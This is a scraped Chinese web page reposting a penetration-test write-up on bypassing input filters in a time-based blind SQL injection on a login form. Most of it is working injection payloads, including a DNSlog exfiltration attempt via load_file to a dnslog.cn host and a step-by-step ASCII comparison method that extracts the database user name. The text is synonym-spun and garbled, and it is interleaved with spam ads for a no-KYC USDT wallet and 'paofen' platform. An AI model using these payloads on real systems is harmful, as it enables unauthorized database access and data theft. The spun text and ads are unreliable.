欢迎进入UG环球官网(环球UG)!

usdt钱包(www.caibao.it):平安手艺 | 一次众测实战sql注入绕过

admin1个月前60

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先界说好的查询语句的末端上添加分外的SQL语句,在管理员不知情的情形下实现非法操作,以此来实现诱骗数据库服务器执行非授权的随便查询,从而进一步获得响应的数据信息。本文由锦行科技的平安研究团队提供,旨在辅助客户明白sql注入绕过的问题


测试靠山

在一次测试历程中,发现上岸框的用户名处存在延时注入。

开启bp抓包,随便输入用户名和密码,点击上岸,抓到以下数据包

经测试,Uname参数存在sql延时注入

在后面加上

'and(select*from(select+sleep(5))a)and'a'='

发现延迟10秒

在后面加上

'and(select*from(select+sleep(3))a)and'a'='

发现延迟6秒

凭据上面图可知,sleep(5)时,回显时间为10秒;sleep(3)时,回显时间为6秒,显著存在sql注入,预测数据库做了两次查询或者查到了两条相同的数据。

测试历程

再确定存在注入点之后,之后使用sqlmap来跑数据,发现没办法顺遂注入,可能存在阻挡或者过滤。以是只能靠手工去测试发现问题。

1、使用

'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='去测试,发现延迟两秒

说明if函数没有被阻挡

2、继续使用

'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='去测试,发现延迟六秒

说明user函数没有被阻挡

3、继续使用

'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去测试,发现没延迟

说明substr被阻挡了,接着我使用mid、substring来替换substr函数均被阻挡

4、继续使用

'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='去测试,发现没延迟

说明mid、substring、like被阻挡了

看到这些要害函数都没阻挡了,通过if截断的方式来测试是没戏了,那就试下通过dnslog外带的方式把数据给带出去。

5、使用payload:

'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'))))a)and'a'='

,

usdt支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

发现dnslog平台也没反应

最后经由种种测试,发现通过逐字母对照ascii码的方式能绕过上面所述的代码层的阻挡,以是要用如下这种方式绕过。

6、详细注入payload如下:

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='

用如上payload的意思是对照用户名的第一位的ascii码是不是大于或者即是d的ascii码

Ascii码表如下:

在数据库中测试:

依次从左到右对照ascii码,好比拿select ‘rooT’>’ro’来说,由于它们两的前两位相等,会对照到第三位,rooT的第三位为o,而ro的第三位是空,以是rooT固然大于ro。

测试结论

凭据上面情形,我们判断用户名第一位字母的时刻,可以分为如下3步

步骤一:

payload:

'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,

延迟为6秒,说明为true,用户名的第一位字母的ascii码对应大于或即是c字母的ascii码,即大于或即是99

步骤二:

当payload为

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'=' ,

延迟为6秒,说明也为true,用户名的第一位字母的ascii码对应大于或即是d字母的ascii码,即大于或即是100

步骤三:

当payload为'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'=' ,

延迟为0秒,说明为false,用户名的第一位字母的ascii码对应小于e字母的ascii码,即小于101

最后凭据效果剖析:

凭据步骤二,用户名第一位字母的ascii码大于或者即是100;

凭据步骤三,用户名的第一位字母的ascii码小于101,

最后得出用户名第一位字母的ascii码为100,即字母d.

依次类推,最后得出用户名为dctok

上一篇 下一篇

猜你喜欢

网友评论

  • 2021-03-10 00:05:22

    唐山新闻网唐山新闻网是本地最专业的新闻报道频道,这里有唐山人的身边生活身边事,还有国内大事记以及国外重磅新闻,综合了广大网民最喜爱的内容,本站不仅是一家涵盖内容广、跨地域大的新闻网站,还是唐山人的生活服务指南,一站式解决本地人民以及各类游客所有线上需求,欢迎您的随时来访。很有意思的文

随机文章
热门文章
热评文章
热门标签